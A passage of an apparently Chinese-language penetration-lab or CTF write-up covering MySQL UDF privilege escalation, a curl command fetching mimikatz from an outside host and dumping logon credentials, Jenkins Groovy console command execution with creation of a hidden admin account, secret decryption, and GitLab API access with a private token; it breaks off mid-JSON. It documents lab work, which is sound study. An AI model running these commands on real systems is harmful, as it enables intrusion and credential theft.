3007379735F657865635F6465696E6974007379735F657865635F696E6974007379735F676574007379735F6765745F6465696E6974007379735F6765745F696E6974007379735F736574007379735F7365745F6465696E6974007379735F7365745F696E69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE "C:\\Program Files\\MySQL\\MySQL Server 8.0\\lib\\plugin\\udf.so";
CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";
select sys_eval("type C:\\Users\\Administrator\\flag\\flag.txt");

读到flag(草我怎么写了个so进去,应该是dll的)

image-20240721095325681

接下来尝试丢mimikatz收集信息(实际无用)

select sys_eval("curl  http://192.168.36.88:8080/mimikatz.exe -o mimikatz.exe");

select sys_eval('"mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > test.txt"');
select sys_eval('"mimikatz.exe "privilege::debug" "log" "lsadump::dcsync /user:Administrator" "exit" > test.txt"');
select sys_eval('"mimikatz.exe "privilege::debug" "log" "creds_all" "exit" > test.txt"');

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 68033 (00000000:000109c1)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : WIN-OPS88$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-20
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : win-ops88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 31473 (00000000:00007af1)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-96-0-0
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 68016 (00000000:000109b0)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 31470 (00000000:00007aee)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:47 AM
SID               : S-1-5-96-0-1
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 30495 (00000000:0000771f)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:46 AM
SID               : 
	msv :	
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	
	cloudap :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : WIN-OPS88$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 7/21/2024 6:17:46 AM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : WIN-OPS88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	kerberos :	
	 * Username : win-ops88$
	 * Domain   : WORKGROUP
	 * Password : (null)
	ssp :	
	credman :	
	cloudap :	

mimikatz(commandline) # exit
Bye!

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # lsadump::dcsync /user:Administrator
ERROR kuhl_m_lsadump_dcsync ; Domain not present, or doesn't look like a FQDN

mimikatz(commandline) # exit
Bye!

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # creds_all
ERROR mimikatz_doLocal ; "creds_all" command of "standard" module not found !

Module :	standard
Full name :	Standard module
Description :	Basic commands (does not require module name)

            exit  -  Quit mimikatz
             cls  -  Clear screen (doesn't work with redirections, like PsExec)
          answer  -  Answer to the Ultimate Question of Life, the Universe, and Everything
          coffee  -  Please, make me a coffee!
           sleep  -  Sleep an amount of milliseconds
             log  -  Log mimikatz input/output to file
          base64  -  Switch file input/output base64
         version  -  Display some version informations
              cd  -  Change or display current directory
       localtime  -  Displays system local date and time (OJ command)
        hostname  -  Displays system local hostname

mimikatz(commandline) # exit
Bye!

都没啥用

看别人这里是net user Administrator <password>进行密码修改,然后通过WindowsRDP进行远程桌面登陆


RODC(Unsolved)

不懂,好像是smb密码喷洒

别的师傅的非预期:

在WIN-OPS88桌面上有一个WPS OFFICE,点开后查看Recent,发现了一个表格,里面有一组账号密码。

2024-07-22T06:05:09.png

由于文件名带有ROAdmins,很容易想到是RODC相关密码,发现这些密码均能远程登陆RODC Windows的RDP


可惜我没练过渗透,不然应该能想到拿完Windows的shell后要尝试下rdp的


Jinkens

[*] WebTitle http://192.168.8.16:8080  code:403 len:594    title:None

jenkins服务

测试出账密admin:admin123可以登录进去

在Script Console里面打Groovy脚本就行:参考https://xz.aliyun.com/t/6372

image-20240721105348773

image-20240721105555762

那么同样的可以读flag

String fileContents = new File('C:\\Users\\Administrator\\flag\\flag.txt').text

image-20240721105744258

或者执行命令:

println "whoami".execute().text

远程桌面账密:

println "net user test qwer1234! /add".execute().text
println "net localgroup administrators test /add".execute().text

Gitlab(TimeOut)

靠,是原题:https://xz.aliyun.com/t/13378

但是最后十分钟的时候才发现,来不及了没做完,jenkins的服务还慢得要死。。

依旧是在Jenkins里面,进入对应选项卡,点击change password

image-20240721140214428

ctrl+u找到apitoken

{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}

接下来用Script console解密

println(hudson.util.Secret.fromString("{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}").getPlainText())

剩下的来不及了😭


有了apitoken之后就能访问gitlab的所有仓库

proxychains curl --header "PRIVATE-TOKEN: glpat-bGEgHAJDvwaPP78rsLeS" "http://192.168.8.42/api/v4/projects"

可以获得一个巨大的返回json,通过这个json可以观察到GitLab中所有的储存库信息

[
    {
        "id": 5,
        "description": null,
        "name": "VertexSoftBackup",
        "name_with_namespace": "VertexSoft / VertexSoftBackup",
        "path": "vertexsoftbackup",
        "path_with_namespace": "vertexsoft/vertexsoftbackup",
        "created_at": "2024-07-11T17:03:43.603Z",
        "default_branch": "main",
        "tag_list": [],
        "topics": [],
        "ssh_url_to_repo": "git@192.168.8.42:vertexsoft/vertexsoftbackup.git",
        "http_url_to_repo": "http://192.168.8.42/vertexsoft/vertexsoftbackup.git",
        "web_url": "http://192.168.8.42/vertexsoft/vertexsoftbackup",
        "readme_url": "http://192.168.8.42/vertexsoft/vertexsoftbackup/-/blob/main/README.md",
        "forks_count": 0,
        "avatar_url": null,
        "star_count": 0,
        "last_activity_at": "2024-07-17T05:42:29.243Z",
        "namespace": {
            "id": 2,
            "name": "VertexSoft",
            "path": "vertexsoft",
            "kind": "group",
            "full_path": "vertexsoft",
            "parent_id": null,
            "avatar_url": null,
            "web_url": "http://192.168.8.42/groups/vertexsoft"
        },
        "repository_storage": "default",
        "_links": {
            "self": "http://192.168.8.42/api/v4/projects/5",
            "issues": "http://192.168.8.42/api/v4/projects/5/issues",
            "merge_requests": "http://192.168.8.42/api/v4/projects/5/merge_requests",
            "repo_branches": "http://192.168.8.42/api/v4/projects/5/repository/branches",
            "labels": "http://192.168.8.42/api/v4/projects/5/labels",
            "events": "http://192.168.8.42/api/v4/projects/5/events",
            "members": "http://192.168.8.42/api/v4/projects/5/members",
            "cluster_agents": "http://192.168.8.42/api/v4/projects/5/cluster_agents"
        },
        "packages_enabled": true,
        "empty_repo": false,
        "archived": false,
        "visibility": "private",
        "resolve_outdated_diff_discussions": false,
        "container_expiration_policy": {
            "cadence": "1d",
            "enabled": false,
            "keep_n": 10,
            "older_than": "90d",
            "name_regex": ".*",
            "name_regex_keep": null,
            "next_run_at": "2024-07-12T17:03:43.667Z"
        },
        "repository_object_format": "sha1",
        "issues_enabled": true,
        "merge_requests_enabled": true,
        "wiki_enabled": true,
        "jobs_enabled": true,
        "snippets_enabled": true,
        "container_registry_enabled": true,
        "service_desk_enabled": false,
        "service_desk_address": null,
        "can_create_merge_request_in": true,
        "issues_access_level": "enabled",
        "repository_access_level": "enabled",
        "merge_requests_access_level": "enabled",
        "forking_access_level": "enabled",
        "wiki_access_level": "enabled",
        "builds_access_level": "enabled",
        "snippets_access_level": "enabled",
        "pages_access_level": "private",
        "analytics_access_level": "enabled",
        "container_registry_access_level": "enabled",
        "security_and_compliance_access_level": "private",
        "releases_access_level": "enabled",
        "environments_access_level": "enabled",
        "feature_flags_access_level": "enabled",
        "infrastructure_access_level": "enabled",
        "monitor_access_level": "enabled",
        "model_experiments_access_level": "enabled",
        "model_registry_access_level": "enabled",
        "emails_disabled": false,
        "emails_enabled": true,
        "shared_runners_enabled": true,
        "lfs_enabled": true,
        "creator_id": 1,
        "import_url": null,
        "import_type": null,
        "import_status": "none",
        "open_issues_count": 0,
        "description_html": "",
        "updated_at": "2024-07-17T05:42:29.243Z",
        "ci_default_git_depth": 20,
        "ci_forward_deployment_enabled": true,
        "ci_forward_deployment_rollback_allowed": true,
        "ci_job_token_scope_enabled": false,
        "ci_separated_caches": true,
        "ci_allow_fork_pipelines_to_run_in_parent_project": true,
        "build_git_strategy": "fetch",
        "keep_latest_artifact": true,
        "restrict_user_defined_variables": false,
        "runners_token": "GR1348941cVxxrGfbYCRyHzGyNtRE",
        "runner_token_expiration_interval": null,
        "group_runners_enabled": true,
        "auto_cancel_pending_pipelines": "enabled",
        "build_timeout": 3600,
        "auto_devops_enabled": true,
        "auto_devops_deploy_strategy": "continuous",
        "ci_config_path": null,
        "public_jobs": true,
        "shared_with_groups": [],
        "only_allow_merge_if_pipeline_succeeds": false,
        "allow_merge_on_skipped_pipeline": null,
        "request_access_enabled": true,
        "only_allow_merge_if_all_discussions_are_resolved": false,
        "remove_source_branch_after_merge": true,
        "printing_merge_request_link_enabled": true,
        "merge_method": "merge",
        "squash_option": "default_off",
        "enforce_auth_checks_on_uploads": true,
        "suggestion_commit_message": null,
        "merge_commit_template": null,
        "squash_commit_template": null,
        "issue_branch_template": null,
        "warn_about_potentially_unwanted_characters": true,
        "autoclose_referenced_issues": true,
        "permissions": {
            "project_access": null,
            "group_access": {
                "access_level": 50,
                "notification_level": 3
            }
        }
    },
    {
        "id": 4,
        "description": "Hexo",
        "name": "Hexo",
        "name_with_namespace": "VertexSoft / Hexo",
        "path": "hexo",
        "path_with_namespace": "vertexsoft/hexo",
        "created_at": "2024-07-11T17:01:31.691Z",
        "default_branch": "master",
        "tag_list": [],
        "topics": [],
        "ssh_url_to_repo": "git@192.168.8.42:vertexsoft/hexo.git",
        "http_url_to_repo": "http://192.168.8.42/vertexsoft/hexo.git",
        "web_url": "http://192.168.8.42/vertexsoft/hexo",
        "readme_url": "http://192.168.8.42/vertexsoft/hexo/-/blob/master/README.md",
        "forks_count": 0,
        "avatar_url": null,
        "star_count": 0,
        "last_activity_at": "2024-07-11T17:01:31.661Z",
        "namespace": {
            "id": 2,
            "name": "VertexSoft",
            "path": "vertexsoft",
            "kind": "group",
            "full_path": "vertexsoft",
            "parent_id": null,
            "avatar_url": null,
            "web_url": "http://192.168.8.42/groups/vertexsoft"
        },
        "repository_storage": "default",
        "_links": {
            "self": "http://192.168.8.42/api/v4/projects/4",
            "issues": "http://192.168.8.42/api/v4/projects/4/issues",
            "merge_requests": "http://192.168.8.42/api/v4/projects/4/merge_requests",
            "repo_branches": "http://192.168.8.42/api/v4/projects/4/repository/branches",
            "labels": "http://192.168.8.42/api/v4/projects/4/labels",
            "events": "http://192.168.8.42/api/v4/projects/4/events",
            "members": "http://192.168.8.42/api/v4/projects/4/members",
            "cluster_agents": "http://192.168.8.42/api/v4/projects/4/cluster_agents"
        },
        "packages_enabled": true,
        "empty_repo": false,
        "archived": false,
        "visibility": "private",
        "resolve_outdated_diff_discussions": false,
        "container_expiration_policy": {
            "cadence": "1d",
            "enabled": false,
            "keep_n": 10,
            "older_than": "90d",
            "name_regex": ".*",
            "name_regex_keep": null,
            "next_run_at": "2024-07-12T17:01:32.184Z"
        },
        "repository_object_format": "sha1",
        "issues_enabled": true,
        "merge_requests_enabled": true,
        "wiki_enabled": true,
        "jobs_enabled": true,
        "snippets_enabled": true,
        "container_registry_enabled": true,
        "service_desk_enabled": false,
        "service_desk_address": null,
        "can_create_merge_request_in": true,
        "issues_access_level": "enabled",
        "repository_access_level": "enabled",
        "merge_requests_access_level": "enabled",
        "forking_access_level": "enabled",
        "wiki_access_level": "enabled",
        "builds_access_level": "enabled",
        "snippets_access_level": "enabled",
        "pages_access_level": "private",
        "analytics_access_level": "enabled",
        "container_registry_access_level": "enabled",
        "security_and_compliance_access_level": "private",
        "releases_access_level": "enabled",
        "environments_access_level": "enabled",
        "feature_flags_access_level": "enabled",
        "infrastructure_access_level": "enabled",
        "monitor_access_level": "enabled",
        "model_experiments_access_level": "enabled",
        "model_registry_access_level": "enabled",
        "emails_disabled": false,
        "emails_enabled": true,
        "shared_runners_enabled": true,
        "lfs_enabled": true,
        "creator_id": 1,
        "import_url": null,
        "import_type": "gitlab_project",
        "import_status": "finished",
        "open_issues_count": 0,
        "description_html": "<p data-sourcepos=\"1:1-1:4\" dir=\"auto\">Hexo</p>",
        "updated_at": "2024-07-11T17:01:32.535Z",
        "ci_default_git_depth": 20,
        "ci_forward_deployment_enabled": true,
        "ci_forward_deployment_rollback_allowed": true,
        "ci_job_token_scope_enabled": false,
        "ci_separated_caches": true,
        "ci_allow_fork_pipelines_to_run_in_parent_project": true,
        "build_git_strategy": "fetch",
        "keep_latest_artifact": true,
        "restrict_user_defined_variables": false,
        "runners_token": "GR1348941CyxAy3dnsudA95t35ucx",
        "runner_token_expiration_interval": null,
        "group_runners_enabled": true,
        "auto_cancel_pending_pipelines": "enabled",
        "build_timeout": 3600,
        "auto_devops_enabled": true,
        "auto_devops_deploy_strategy": "continuous",
        "ci_config_path": null,
        "public_jobs": true,
        "shared_with_groups": [],
        "only_allow_merge_if_pipeline_succeeds": false,
        "allow_merge_on_skipped_pipeline": null,
        "request_access_enabled": true,
        "only_allow_merge_if_all_discussions_are_resolved": false,
        "remove_source_branch_after_merge": true,
        "printing_merge_request_link_enabled": true,
        "merge_method": "merge",
        "squash_option": "default_off",
        "enforce_auth_checks_on_uploads": true,
        "suggestion_commit_message": null,
        "merge_commit_template": null,
        "squash_commit_template": null,
        "issue_branch_template": null,
        "warn_about_potentially_unwanted_characters": true,
        "autoclose_referenced_issues": true,
        "permissions": {
            "project_access": {
                "access_level": 40,
                "notification_level": null
            },
            "group_access": {
                "access_level": 50,
                "notification_level": 3
            }
        }
    },
    {
        "id": 3,
        "description": "VertexSoft Internal Employee Service App",
        "name": "VertexApp",
        "name_with_namespace": "VertexSoft / VertexApp",
        "path": "vertexapp",
        "path_with_namespace": "vertexsoft/vertexapp",
        "created_at": "2024-07-11T17:00:59.905Z",
        "default_branch": "master",
        "tag_list": [],
        "topics": [],
        "ssh_url_to_repo": "git@192.168.8.42:vertexsoft/vertexapp.git",
        "http_url_to_repo": "http://192.168.8.42/vertexsoft/vertexapp.git",
        "web_url": "http://192.168.8.42/vertexsoft/vertexapp",
        "readme_url": "http://192.168.8.42/vertexsoft/vertexapp/-/blob/master/README.md",
        "forks_count": 0,
        "avatar_url": null,
        "star_count": 0,
        "last_activity_at": "2024-07-11T17:00:59.877Z",
        "namespace": {
            "id": 2,
            "name": "VertexSoft",
            "path": "vertexsoft",
            "kind": "group",
            "full_path": "vertexsoft",
            "parent_id": null,
            "avatar_url": null,
            "web_url": "http://192.168.8.42/groups/vertexsoft"
        },
        "repository_storage": "default",
        "_links": {
            "self": "http://192.168.8.42/api/v4/projects/3",
            "issues": "http://192.168.8.42/api/v4/projects/3/issues",
            "merge_requests": "http://192.168.8.42/api/v4/projects/3/merge_requests",
            "repo_branches": "http://192.168.8.42/api/v4/projects/3/repository/branches",
            "labels": "http://192.168.8.42/api/v4/projects/3/labels",
            "events": "http://192.168.8.42/api/v4/projects/3/events",
            "members": "http://192.168.8.42/api/v4/projects/3/members",
            "cluster_agents": "http://192.168.8.42/api/v4/projects/3/cluster_agents"
        },
        "packages_enabled": true,
        "empty_repo": false,
        "archived": false,
        "visibility": "private",
        "resolve_outdated_diff_discussions": false,
        "container_expiration_policy": {
            "cadence": "1d",
            "enabled": false,
            "keep_n": 10,
            "older_than": "90d",
            "name_regex": ".*",
            "name_regex_keep": null,
            "next_run_at": "2024-07-12T17:01:00.306Z"
        },
        "repository_object_format": "sha1",
        "issues_enabled": true,
        "merge_requests_enabled": true,
        "wiki_enabled": true,
        "jobs_enabled": true,
        "snippets_enabled": true,
        "container_registry_enabled": true,
        "service_desk_enabled": false,
        "service_desk_address": null,
        "can_create_merge_request_in": true,
        "issues_access_level": "enabled",
        "repository_access_level": "enabled",
        "merge_requests_access_level": "enabled",
        "forking_access_level": "enabled",
        "wiki_access_level": "enabled",
        "builds_access_level": "enabled",
        "snippets_access_level": "enabled",
        "pages_access_level": "private",
        "analytics_access_level": "enabled",
        "container_registry_access_level": "enabled",
        "security_and_compliance_access_level": "private",
        "releases_access_level": "enabled",
        "environments_access_level": "enabled",
        "feature_flags_access_level": "enabled",
        "infrastructure_access_level": "enabled",
        "monitor_access_level": "enabled",
        "model_experiments_access_level": "enabled",
        "model_registry_access_level": "enabled",
        "emails_disabled": false,
        "emails_enabled": true,
        "shared_runners_enabled": true,
        "lfs_enabled": true,
        "creator_id": 1,
        "import_url": null,
        "import_type": "gitlab_project",
        "import_status": "finished",
        "open_issues_count": 0,
        "description_html": "<p data-sourcepos=\"1:1-1:40\" dir=\"auto\">VertexSoft Internal Employee Service App</p>",
        "updated_at": "2024-07-11T17:01:00.622Z",
        "ci_default_git_depth": 20,
        "ci_forward_deployment_enabled": true,
        "ci_forward_deployment_rollback_allowed": true,
        "ci_job_token_scope_enabled": false,
        "ci_separated_caches": true,
        "ci_allow_fork_pipelines_to_run_in_parent_project": true,
        "build_git_strategy": "fetch",
        "keep_latest_artifact": true,
        "restrict_user_defined_variables": false,
        "runners_token": "GR1348941nmFUY2NxrQoLyDNnGYPx",
        "runner_token_expiration_interval": null,
        "group_runners_enabled": true,
        "auto_cancel_pending_pipelines": "enabled",
        "build_timeout": 3600,
        "auto_devops_enabled": true,
        "auto_devops_deploy_strategy": "continuous",
        "ci_config_path": null,
        "public_jobs": true,
        "shared_with_groups": [],
        "only_allow_merge_if_pipeline_succeeds": false,
        "allow_merge_on_skipped_pipeline": null,
        "request_access_enabled": true,
        "only_allow_merge_if_all_discussions_are_resolved": false,
        "remove_source_branch_after_merge": true,
        "printing_merge_request_link_enabled": true,
        "merge_method": "merge",
        "squash_option": "default_off",
        "enforce_auth_checks_on_uploads": true,
        "suggestion_commit_message": null,
        "merge_commit_template": null,
        "squash_commit_template": null,
        "issue_branch_template": null,
        "warn_about_potentially_unwanted_characters": true,
        "autoclose_referenced_issues": true,
        "permissions": {
            "project_access": {
                "access_level": 40,
                "notification_level": null
            },
            "group_access": {
                "access_level": 50,
                "notification_level": 3
            }
        }
    },
    {
        "id": 2,
        "description": "VertexSoft's old ERP system",
        "name": "ERP_Old",
        "name_with_namespace": "VertexSoft / ERP_Old",
        "path": "erp_old",
        "path_with_namespace": "vertexsoft/erp_old",
        "created_at": "2024-07-11T17:00:05.051Z",
        "default_branch": "master",
        "tag_list": [],
        "topics": [],
        "ssh_url_to_repo": "git@192.168.8.42:vertexsoft/erp_old.git",
        "http_url_to_repo": "http://192.168.8.42/vertexsoft/erp_old.git",
        "web_url": "http://192.168.8.42/vertexsoft/erp_old",
        "readme_url": "http://192.168.8.42/vertexsoft/erp_old/-/blob/master/README.md",
        "forks_count": 0,
        "avatar_url": null,
        "star_count": 0,
        "last_activity_at": "2024-07-11T17:00:05.004Z",
        "namespace": {
            "id": 2,
            "name": "VertexSoft",
            "path": "vertexsoft",
            "kind": "group",
            "full_path": "vertexsoft",
            "parent_id": null,
            "avatar_url": null,
            "web_url": "http://192.168.8.42/groups/vertexsoft"
        },
        "repository_storage": "default",
        "_links": {
            "self": "http://192.168.8.42/api/v4/projects/2",
            "issues": "http://192.168.8.42/api/v4/projects/2/issues",
            "merge_requests": "http://192.168.8.42/api/v4/projects/2/merge_requests",
            "repo_branches": "http://192.168.8.42/api/v4/projects/2/repository/branches",
            "labels": "http://192.168.8.42/api/v4/projects/2/labels",
            "events": "http://192.168.8.42/api/v4/projects/2/events",
            "members": "http://192.168.8.42/api/v4/projects/2/members",
            "cluster_agents": "http://192.168.8.42/api/v4/projects/2/cluster_agents"
        },
        "packages_enabled": true,
        "empty_repo": false,
        "archived": false,
        "visibility": "private",
        "resolve_outdated_diff_discussions": false,
        "container_expiration_policy": {
            "cadence": "1d",
            "enabled": false,
            "keep_n": 10,
            "older_than": "90d",
            "name_regex": ".*",
            "name_regex_keep": null,
            "next_run_at": "2024-07-12T17:00:07.041Z"
        },
        "repository_object_format": "sha1",
        "issues_enabled": true,
        "merge_requests_enabled": true,
        "wiki_enabled": true,
        "jobs_enabled": true,
        "snippets_enabled": true,
        "container_registry_enabled": true,
        "service_desk_enabled": false,
        "service_desk_address": null,
        "can_create_merge_request_in": true,
        "issues_access_level": "enabled",
        "repository_access_level": "enabled",
        "merge_requests_access_level": "enabled",
        "forking_access_level": "enabled",
        "wiki_access_level": "enabled",
        "builds_access_level": "enabled",
        "snippets_access_level": "enabled",
        "pages_access_level": "private",
        "analytics_access_level": "enabled",
        "container_registry_access_level": "enabled",
        "security_and_compliance_access_level": "private",
        "releases_access_level": "enabled",
        "environments_access_level": "enabled",
        "feature_flags_access_level": "enabled",
        "infrastructure_access_level": "enabled",
        "monitor_access_level": "enabled",
        "model_experiments_access_level": "enabled",
        "model_registry_access_level": "enabled",
        "emails_disabled": false,
        "emails_enabled": true,
        "shared_runners_enabled": true,
        "lfs_enabled": true,
        "creator_id": 1,
        "import_url": null,
        "import_type": "gitlab_project",
        "import_status": "finished",
        "open_issues_count": 0,
        "description_html": "<p data-sourcepos=\"1:1-1:27\" dir=\"auto\">VertexSoft's old ERP system</p>",
        "updated_at": "2024-07-11T17:00:07.428Z",
        "ci_default_git_depth": 20,
        "ci_forward_deployment_enabled": true,
        "ci_forward_deployment_rollback_allowed": true,
        "ci_job_token_scope_enabled": false,
        "ci_separated_caches": true,
        "ci_allow_fork_pipelines_to_run_in_parent_project": true,
        "build_git_strategy": "fetch",
        "keep_latest_artifact": true,
        "restrict_user_defined_variables": false,
        "runners_token": "GR1348941iNU3bBzdNg5pzdrmapMJ",
        "runner_token_expiration_interval": null,
        "group_runners_enabled": true,
        "auto_cancel_pending_pipelines": "enabled",
        "build_timeout": 3600,
        "auto_devops_enabled": true,
        "auto_devops_deploy_strategy": "continuous",
        "ci_config_path": null,
        "public_jobs": true,
        "shared_with_groups": [],
        "only_allow_merge_if_pipeline_succeeds": false,
        "allow_merge_on_skipped_pipeline": null,
        "request_access_enabled": true,
        "only_allow_merge_if_all_discussions_are_resolved": false,
        "remove_source_branch_after_merge": true,
        "printing_merge_request_link_enabled": true,
        "merge_method": "merge",
        "squash_option": "default_off",
        "enforce_auth_checks_on_uploads": true,
        "suggestion_commit_message": null,
        "merge_commit_template": null,
        "squash_commit_template": null,
        "issue_branch_template": null,
        "warn_about_potentially_unwanted_characters": true,
        "autoclose_referenced_issues": true,
        "permissions": {
            "project_access": {
                "access_level": 40,
                "notification_level": null
            },
            "group_access": {
                "access_level": 50,
                "notification_level": 3
            }
        }
    },
    {
        "id": 1,
        "description": null,
        "name": "PortalCode",
        "name_with_namespace": "VertexSoft / PortalCode",
        "path": "portalcode",
        "path_with_namespace": "vertexsoft/portalcode",
        "created_at": "2024-07-11T15:53:27.257Z",
        "default_branch": "main",
        "tag_list": [],
        "topics": [],
        "ssh_url_to_repo": "git@192.168.8.42:vertexsoft/portalcode.git",
        "http_url_to_repo": "http://192.168.8.42/vertexsoft/portalcode.git",
        "web_url": "http://192.168.8.42/vertexsoft/portalcode",
        "readme_url": "http://192.168.8.42/vertexsoft/portalcode/-/blob/main/README.md",
        "forks_count": 0,
        "avatar_url": null,
        "star_count": 0,
        "last_activity_at": "2024-07-15T14:30:40.441Z",
        "namespace": {
            "id": 2,
            "name": "VertexSoft",
            "path": "vertexsoft",
            "kind": "group",
            "full_path": "vertexsoft",
            "parent_id": null,
            "avatar_url": null,
            "web_url": "http://192.168.8.42/groups/vertexsoft"
        },
        "repository_storage": "default",
        "_links": {
            "self": "http://192.168.8.42/api/v4/projects/1",
            "issues": "http://192.168.8.42/api/v4/projects/1/issues",
            "merge_requests": "http://192.168.8.42/api/v4/projects/1/merge_requests",
            "repo_branches": "http://192.168.8.42/api/v4/projects/1/repository/branches",
            "labels": "http://192.168.8.42/api/v4/projects/1/labels",
            "events": "http://192.168.8.42/api/v4/projects/1/events",
            "members": "http://192.168.8.42/api/v4/projects/1/members",
            "cluster_agents": "http://192.168.8.42/api/v4/projects/1/cluster_agents"
        },
        "packages_enabled": true,
        "empty_repo": false,
        "archived": false,
        "visibility": "private",
        "resolve_outdated_diff_discussions": false,
        "container_expiration_policy": {
            "cadence": "1d",
            "enabled": false,
            "keep_n": 10,
            "older_than": "90d",
            "name_regex": ".*",
            "name_regex_keep": null,
            "next_run_at": "2024-07-12T15:53:27.309Z"
        },
        "repository_object_format": "sha1",
        "issues_enabled": true,
        "merge_requests_enabled": true,
        "wiki_enabled": true,
        "jobs_enabled": true,
        "snippets_enabled": true,
        "container_registry_enabled": true,
        "service_desk_enabled": false,
        "service_desk_address": null,
        "can_create_merge_request_in": true,
        "issues_access_level": "enabled",
        "repository_access_level": "enabled",
        "merge_requests_access_level": "enabled",
        "forking_access_level": "enabled",
        "wiki_access_level": "enabled",
        "builds_access_level": "enabled",
        "snippets_access_level": "enabled",
        "pages_access_level": "private",
        "analytics_access_level": "enabled",
        "container_registry_access_level": "enabled",
        "security_and_compliance_access_level": "private",
        "releases_access_level": "enabled",
        "environments_access_level": "enabled",
        "feature_flags_access_level": "enabled",
        "infrastructure_access_level": "enabled",
        "monitor_access_level": "enabled",
        "model_experiments_access_level": "enabled",
        "model_registry_access_level": "enabled",
        "emails_disabled": false,
        "emails_enabled": true,
        "shared_runners_enabled": true,
        "lfs_enabled": true,
        "creator_id": 1,
        "import_url": null,
        "import_type": null,
        "import_status": "none",
        "open_issues_count": 0,
        "description_html": "",
        "updated_at": "2024-07-15T14:37:09.617Z",
        "ci_default_git_depth": 20,
